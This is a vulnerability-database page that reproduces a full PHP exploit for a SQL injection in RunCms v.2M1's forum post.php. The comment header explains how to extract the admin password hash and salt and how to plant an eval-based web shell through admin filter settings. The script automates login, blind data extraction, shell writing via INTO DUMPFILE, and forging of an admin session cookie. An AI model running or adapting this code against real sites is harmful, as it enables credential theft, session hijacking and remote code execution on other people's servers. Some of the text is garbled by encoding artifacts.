Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:22681
HistoryOct 26, 2009 - 12:00 a.m.

RunCms v.2M1 /modules/forum/post.php - 'forum' remote semi-blind SQL Injection Exploit

2009-10-2600:00:00
vulners.com
29

<?php
/*
RunCms v.2M1 /modules/forum/post.php - 'forum' remote semi-blind SQL Injection Exploit
by Nine:Situations:Group::bookoo
site: http://retrogod.altervista.org/

software site: http://www.runcms.org/
 
vulnerable code in /modules/forum/post.php near lines 16-34 :
 
...
if &#40; empty&#40;$_POST[&#39;forum&#39;]&#41; &#41; {
redirect_header&#40;&quot;index.php&quot;, 2, _MD_ERRORFORUM&#41;;
exit&#40;&#41;;
}
else if &#40; empty&#40;$_POST[&#39;message&#39;]&#41; &#41; {
redirect_header&#40;&quot;javascript:history.go&#40;-1&#41;&quot;, 2, _MD_ERRORMESSAGE&#41;;
exit&#40;&#41;;
}
else {
$sql = &quot;SELECT * FROM &quot;.$bbTable[&#39;forums&#39;].&quot; WHERE forum_id = &quot;.$_POST[&#39;forum&#39;].&quot;&quot;; // &lt;--------

!!!
if (!$result = $db->query($sql)) {
redirect_header("index.php", 2, _MD_CANTGETFORUM);
exit();
}

&#39;forum&#39; variable is taken from $_POST[] array and inserted in a sql query without
prior santization and without being surrounded by quotes.
 
Then you can subsequently manipulate this query in /modules/forum/class/class.permissions.php by

passing
another 'UNION SELECT' as first argument of the 'UNION SELECT' passed to post.php
(a little bit complex uh? $forum_id is user controlled …)

100-102:
...
if &#40;$user_id &gt; 0&#41; {
$sql = &quot;SELECT * FROM &quot;.$bbTable[&#39;forum_access&#39;].&quot; WHERE forum_id=$forum_id AND

user_id=$user_id";

the result is that you can extract the sha1 hash of the admin user and the corrispondent salt.
If you cannot decrypt the hash... you can always hijack an active session &#40;meaning the admin user
must be logged in&#41; by building the admin cookie, no check ex. on ip address.
 
To do that you need the table prefix. A default one does not exist, but exists a
&#39;suggested one&#39; when installing the cms, which is &#39;runcms&#39;, but an empty one is not allowed.
However with MySQL 5.0 you can have the table prefix by interrogating information_schema.TABLES
 
This whole thing works regardless of php.ini settings but you need:
 
- a valid user account
 
Register!
 
- an existing row in [prefix]_forum_forums table
- an existing row in [prefix]_forum_forum_access table
 
which is very possible against a runcms installation with a working and active forum.
 
Also, you could manipulate the query in post.php to export a php shell through
&#39;INTO DUMPFILE&#39; method, but you need FILE privilege and magic_quotes_gpc = off.
 
It&#39;s also possible to disclose absolute path in certain conditions &#40;see error_reporting&#41;
by polluting a preg_match&#40;&#41; argument:
 
http://[host]/[path_to_runcms]/modules/contact/index.php?op[]=1
http://[host]/[path_to_runcms]/userinfo.php?uid[]=1
 
 
Final notes:
This sql injection vulnerability has to be considerated as high risk because as ADMIN you
can inject php code by the Filter/Banning functionalities, ex:
 
click &#39;Administration Menu&#39;, then &#39;System Admin&#39;, then click on the Filters/Banning icon,
then &#39;Prohibited: Emails&#39;
Now you can edit the /modules/system/cache/bademails.php file
Type in:
 
&lt;?php eval&#40;$_GET[c]&#41;;?&gt;

 
then you launch commands:
 
http://[host]/[path_to_runcms]/modules/system/cache/bademails.php?c=system&#40;dir&#41;;
 
you can do the same with all filter utilities ...
 
*/
 
$err[0] = &quot;[!] This script is intended to be launched from the cli!&quot;;
$err[1] = &quot;[!] You need the curl extesion loaded!&quot;;
 
function my_header&#40;&#41; {
    print

("\x52\x75\x6e\x43\x6d\x73\x20\x76\x2e\x32\x6d\x31\x20\x2f\x6d\x6f\x64\x75\x6c\x65\x73\x2f\x66\x6f\x72\x75\x6d\x2f\x70\x6f\x73\x74\x2e\x70\x68\x70\x20\x2d\x20\x27\x66\x6f\x72\x75\x6d\x27\x20\x72\x65\x6d\x6f\x74\x65\x20\x73\x65\x6d\x69\x2d\x62\x6c\x69\x6e\x64\x20\x53\x51\x4c\x20\x49\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x20\x45\x78\x70\x6c\x6f\x69\x74\x20\xd\xa\x62\x79\x20\x4e\x69\x6e\x65\x3a\x53\x69\x74\x75\x61\x74\x69\x6f\x6e\x73\x3a\x47\x72\x6f\x75\x70\x3a\x3a\x62\x6f\x6f\x6b\x6f\x6f\xd\xa\x73\x69\x74\x65\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x72\x65\x74\x72\x6f\x67\x6f\x64\x2e\x61\x6c\x74\x65\x72\x76\x69\x73\x74\x61\x2e\x6f\x72\x67\x2f\xd\xa\n");
}
my_header();
if (php_sapi_name() <> "cli") {
die($err[0]);
}
if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
print("[] curl loaded\n");
} else {
!dl("php_curl.so") ? die($err[1]) :
print("[
] curl loaded\n");
}
}

function syntax&#40;&#41; {
    print &#40;
    &quot;Syntax: php &quot;.$argv[0].&quot; [host] [path] [user] [pass] [OPTIONS] &#92;n&quot;. &quot;Options:              

\n". "–port:[port] - specify a port \n". "
default->80 \n". "–prefix - try to extract
table prefix from information.schema \n". " default->runcms
\n". "–proxy:[host:port] - use proxy \n". "–skiptest

  • skip preliminary tests \n". "–test - run only tests
    \n". "–export_shell:[path] - try to export a shell with INTO DUMPFILE, needs Mysql\n". "
    FILE privilege \n". "Examples: php ".$argv[0]." 192.168.0.1
    /runcms/ bookoo pass \n". "
    php ".$argv[0]." 192.168.0.1 / bookoo pass --prefix --proxy:1.1.1.1:8080 \n". " php
    ".$argv[0]." 192.168.0.1 / bookoo pass --prefix --export_shell:/var/www\n");
    die();
    }

    error_reporting(E_ALL ^ E_NOTICE);
    $host = $argv[1];
    $path = $argv[2];
    $_user = $argv[3];
    $_pass = $argv[4];
    $prefix = "runcms";

    $argv[4] ? print("[*] Attacking…\n") :
    syntax();

    $_f_prefix = false;
    $_use_proxy = false;
    $port = 80;
    $_skiptest = false;
    $_test = false;
    $into_outfile = false;

    for ($i = 3; $i < $argc; $i++) {
    if (stristr($argv[$i], "–prefix")) {
    $_f_prefix = true;
    }
    if (stristr($argv[$i], "–proxy:")) {
    $_use_proxy = true;
    $tmp = explode(":", $argv[$i]);
    $proxy_host = $tmp[1];
    $proxy_port = (int)$tmp[2];
    }
    if (stristr($argv[$i], "–port:")) {
    $tmp = explode(":", $argv[$i]);
    $port = (int)$tmp[1];
    }
    if (stristr($argv[$i], "–skiptest")) {
    $_skiptest = true;
    }
    if (stristr($argv[$i], "–test")) {
    $_test = true;
    }
    if (stristr($argv[$i], "–export_shell:")) {
    $tmp = explode(":", $argv[$i]);
    $my_path = $tmp[1];
    $into_outfile = true;
    }

    }

    function _s($url, $is_post, $ck, $request) {
    global $_use_proxy, $proxy_host, $proxy_port;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    if ($is_post) {
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
    }
    curl_setopt($ch, CURLOPT_HEADER, 1);
    $cookies = array("Cookie: ".$ck);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $cookies);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "Googlebot/2.1");
    curl_setopt($ch, CURLOPT_TIMEOUT, 0);

      if &#40;$_use_proxy&#41; {
          curl_setopt&#40;$ch, CURLOPT_PROXY, $proxy_host.&quot;:&quot;.$proxy_port&#41;;
      }
      $_d = curl_exec&#40;$ch&#41;;
      if &#40;curl_errno&#40;$ch&#41;&#41; {
          die&#40;&quot;[!] &quot;.curl_error&#40;$ch&#41;.&quot;&#92;n&quot;&#41;;
      } else {
          curl_close&#40;$ch&#41;;
      }
      return $_d;
    

    }

    function my_encode($str) {
    $_out = "0x";
    for ($i = 0; $i < strlen($str); $i++) {
    $_out .= dechex(ord($str[$i]));
    }
    return $_out;
    }

    function find_prefix() {
    global $host, $port, $path, $url, $ck;
    $_tn = "TABLE_NAME";
    $_ift = "information_schema.TABLES";

      $_table_prefix = &quot;&quot;;
      $j = -15;
      $_sql = &quot;-99999 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 FROM $_ift&quot;;
      $_sql = urlencode&#40;$_sql&#41;;
      $out = _s&#40;$url, 1, $ck, &quot;message=1&amp;forum=$_sql&amp;&quot;&#41;;
       
      if &#40;chk_err_ii&#40;$out&#41;&#41; {
          die&#40;&quot;[!] $_ift not availiable.&quot;&#41;;
      } else {
          print &quot;[*] Initiating table prefix extraction...&#92;n&quot;;
      }
      $c = array&#40;0&#41;;
      $c = array_merge&#40;$c, range&#40;0x30, 0x39&#41;&#41;;
      $j = 1;
      $_len = &quot;&quot;;
      print &#40;&quot;[*] Table name length: &quot;&#41;;
      while &#40;!stripos &#40;$_len, &quot;&#92;x00&quot;&#41;&#41; {
          for &#40;$i = 0; $i &lt;= 0xff; $i++&#41; {
              $f = false;
              if &#40;in_array&#40;$i, $c&#41;&#41; {
                  $_enc = my_encode&#40;&quot;-999999 UNION SELECT 0,0,1,&#40;CASE WHEN
    

(ASCII(SUBSTR(LENGTH($_tn) FROM $j FOR 1))=$i) THEN 1 ELSE 0 END),0,0,0,0,0,0,0,0 FROM $_ift WHERE
$_tn LIKE 0x255f666f72756d5f666f72756d5f67726f75705f616363657373 LIMIT 1 –");
$_sql = "-99999 UNION SELECT $_enc,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
FROM $_ift";
$_sql = urlencode($_sql);
$out = _s($url, 1, $ck, "message=1&forum=$_sql&");

                if &#40;chk_err&#40;$out&#41;&#41; {
                    $f = true;
                    $_len .= chr&#40;$i&#41;;
                    print chr&#40;$i&#41;;
                    break;
                }
            }
        }
        if &#40;$f == false&#41; {
            die&#40;&quot;&#92;n[!] Unknown error ...&quot;&#41;;
        }
        $j++;
    }
    $_len = &#40;int&#41; $_len - 25;
    print &#40;&quot;&#92;n[*] Prefix length: &quot;.$_len.&quot;&#92;n&quot;&#41;;
    $c = array&#40;0&#41;;
    $c = array_merge&#40;$c, range&#40;0x21, 0x7E&#41;&#41;;
    $j = 1;
    $_table_prefix = &quot;&quot;;
    print &#40;&quot;[*] Table prefix: &quot;&#41;;
    while &#40;&#40;!stripos &#40;$_table_prefix, &quot;&#92;x00&quot;&#41;&#41; and &#40;!&#40;strlen&#40;$_table_prefix&#41; == $_len&#41;&#41;&#41; {
        for &#40;$i = 0; $i &lt;= 0xff; $i++&#41; {
            $f = false;
            if &#40;in_array&#40;$i, $c&#41;&#41; {
                $_enc = my_encode&#40;&quot;-999999 UNION SELECT 0,0,1,&#40;CASE WHEN &#40;ASCII&#40;SUBSTR&#40;$_tn FROM

$j FOR 1))=$i) THEN 1 ELSE 0 END),0,0,0,0,0,0,0,0 FROM $_ift WHERE $_tn LIKE
0x255f666f72756d5f666f72756d5f67726f75705f616363657373 LIMIT 1 –");
$_sql = "-99999 UNION SELECT $_enc,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
FROM $_ift";
$_sql = urlencode($_sql);
$out = _s($url, 1, $ck, "message=1&forum=$_sql&");
if (chk_err($out)) {
$f = true;
$_table_prefix .= chr($i);
print chr($i);
break;
}
}
}
if ($f == false) {
die("\n[!] Unknown error …");
}
$j++;
}
return $_table_prefix;
}

function export_sh&#40;&#41; {
    global $url, $prefix, $my_path, $ck;
    //change php code if you want
    $_enc = my_encode&#40;&quot;&lt;?php eval&#40;&#92;$_GET[c]&#41;;?&gt;&quot;&#41;; //just for the purpose of hiding from the

eye, you have to use single quotes for INTO DUMPFILE
$_sql = "-99999 UNION SELECT
null,$_enc,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null INTO
DUMPFILE '".$my_path."/sh.php' FROM ".$prefix."_forum_forums";
$_sql = urlencode($_sql);
$_o = _s($url, 1, $ck, "message=1&forum=$_sql&");

    if &#40;chk_err_ii&#40;$o&#41;&#41; {
        die&#40;&quot;[!] mmm, failed!&quot;&#41;;
    } else {
        die&#40;&quot;[*] Seems ok. Check the shell manually. It was the right path?&quot;&#41;;
    }
}
 
function chk_login&#40;$s&#41; {
    if &#40;stripos &#40;$s,

"\x54\x68\x61\x6e\x6b\x20\x79\x6f\x75\x20\x66\x6f\x72\x20\x6c\x6f\x67\x67\x69\x6e\x67\x20\x69\x6e")) {
return true;
} else {
return false;
}
}

function chk_err&#40;$s&#41; {
    if &#40;stripos &#40;$s,

"\x77\x68\x69\x6c\x65\x20\x71\x75\x65\x72\x79\x69\x6e\x67\x20\x74\x68\x65\x20\x64\x61\x74\x61\x62\x61\x73\x65"))
return true;
} else {
return false;
}
}

function chk_err_ii&#40;$s&#41; {
    if &#40;stripos &#40;$s, &quot;&#92;x74&#92;x20&#92;x67&#92;x65&#92;x74&#92;x20&#92;x66&#92;x6f&#92;x72&#92;x75&#92;x6d&#92;x20&#92;x64&#92;x61&#92;x74&#92;x61&quot;&#41;&#41; {
        return true;
    } else {
        return false;
    }
}
 
$url = &quot;http://$host:$port&quot;.$path.&quot;user.php&quot;;
$out = _s&#40;$url, 1, &quot;&quot;, &quot;uname=$_user&amp;pass=$_pass&amp;op=login&amp;&quot;&#41;;
if &#40;chk_login&#40;$out&#41;&#41; {
    print&#40;&quot;[*] Logged in!&#92;n&quot;&#41;;
} else {
    die&#40;&quot;[!] Not logged in.&quot;&#41;;
}
 
$tmp = explode&#40;&quot;Set-Cookie: &quot;, $out&#41;;
$ck = &quot;&quot;;
for &#40;$i = 1; $i &lt; count&#40;$tmp&#41;; $i++&#41; {
    $ttmp = explode&#40;&quot; &quot;, $tmp[$i]&#41;;
    $ck .= &quot; &quot;.$ttmp[0];
}
//echo &quot;[*] Your cookie-&gt;&quot;.$ck.&quot;&#92;n&quot;;
 
$url = &quot;http://$host:$port&quot;.$path.&quot;modules/forum/post.php&quot;;
$_sql = &quot;1 1 1&quot;;
$_sql = urlencode&#40;$_sql&#41;;
if &#40;!$_skiptest&#41; {
    $out = _s&#40;$url, 1, $ck, &quot;message=1&amp;forum=$_sql&amp;&quot;&#41;;
    if &#40;chk_err_ii&#40;$out&#41;&#41; {
        print&#40;&quot;[*] Vulnerable!&#92;n&quot;&#41;;
    } else {
        die&#40;&quot;[!] Not vulnerable.&quot;&#41;;
    }
}
 
if &#40;$_test&#41; {
    die;
}
 
if &#40;$_f_prefix == true&#41; {
    $prefix = find_prefix&#40;&#41;;
}
 
if &#40;$into_outfile == true&#41; {
    export_sh&#40;&#41;;
}
 
$c = array&#40;0&#41;;
$c = array_merge&#40;$c, range&#40;0x30, 0x39&#41;&#41;;
$_uid = &quot;&quot;;
print &#40;&quot;&#92;n[*] admin uid: &quot;&#41;;
$j = 1;
while &#40;!stripos &#40;$_uid, &quot;&#92;x00&quot;&#41;&#41; {
    for &#40;$i = 0; $i &lt;= 0xff; $i++&#41; {
        $f = false;
        if &#40;in_array&#40;$i, $c&#41;&#41; {
            $_enc = my_encode&#40;&quot;-999999 UNION SELECT 0,0,1,&#40;CASE WHEN &#40;ASCII&#40;SUBSTR&#40;uid FROM $j

FOR 1))=$i) THEN 1 ELSE 0 END),0,0,0,0,0,0,0,0 FROM ".$prefix."_users WHERE level=5 LIMIT 1 –");
$_sql = "-99999 UNION SELECT $_enc,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 FROM
".$prefix."_forum_forums";
$_sql = urlencode($_sql);
$out = _s($url, 1, $ck, "message=1&forum=$_sql&");
if (chk_err($out)) {
$f = true;
$_uid .= chr($i);
print chr($i);
break;
}
}
}
if ($f == false) {
die("\n[!] Unknown error …");
}
$j++;
}
$_uid = (int) $_uid;
$c = array(0);
$c = array_merge($c, range(0x30, 0x39));
$c = array_merge($c, range(0x61, 0x66));
$_hash = "";
print ("\n[] Initiating hash extraction …\n[] pwd hash: ");
$j = 1;
while (!stripos ($_hash, "\x00")) {
for ($i = 0; $i <= 0xff; $i++) {
$f = false;
if (in_array($i, $c)) {
$_enc = my_encode("-999999 UNION SELECT 0,0,1,(CASE WHEN (ASCII(SUBSTR(pass FROM $j
FOR 1))=$i) THEN 1 ELSE 0 END),0,0,0,0,0,0,0,0 FROM ".$prefix."_users WHERE uid=$_uid LIMIT 1 –");
$_sql = "-99999 UNION SELECT $_enc,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 FROM
".$prefix."_forum_forums";
$_sql = urlencode($_sql);
$out = _s($url, 1, $ck, "message=1&forum=$_sql&");
if (chk_err($out)) {
$f = true;
$_hash .= chr($i);
print chr($i);
break;
}
}
}
if ($f == false) {
die("\n[!] Unknown error …");
}
$j++;
}
$_salt = "";
print ("\n[] salt: ");
$j = 1;
while (!stripos ($_salt, "\x00")) {
for ($i = 0; $i <= 0xff; $i++) {
$f = false;
if (in_array($i, $c)) {
$_enc = my_encode("-999999 UNION SELECT 0,0,1,(CASE WHEN (ASCII(SUBSTR(pwdsalt FROM
$j FOR 1))=$i) THEN 1 ELSE 0 END),0,0,0,0,0,0,0,0 FROM ".$prefix."_users WHERE uid=$_uid LIMIT 1 –");
$_sql = "-99999 UNION SELECT $_enc,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 FROM
".$prefix."_forum_forums";
$_sql = urlencode($_sql);
$out = _s($url, 1, $ck, "message=1&forum=$_sql&");
if (chk_err($out)) {
$f = true;
$_salt .= chr($i);
print chr($i);
break;
}
}
}
if ($f == false) {
die("\n[!] Unknown error …");
}
$j++;
}
print("\n[
] Admin cookie: rc2_sess=". urlencode(serialize(array($_uid,
sha1(trim($_hash).trim($_salt)), time()+ 2678400))).";");
?>

original url: http://retrogod.altervista.org/9sg_runcms_forum_sql.html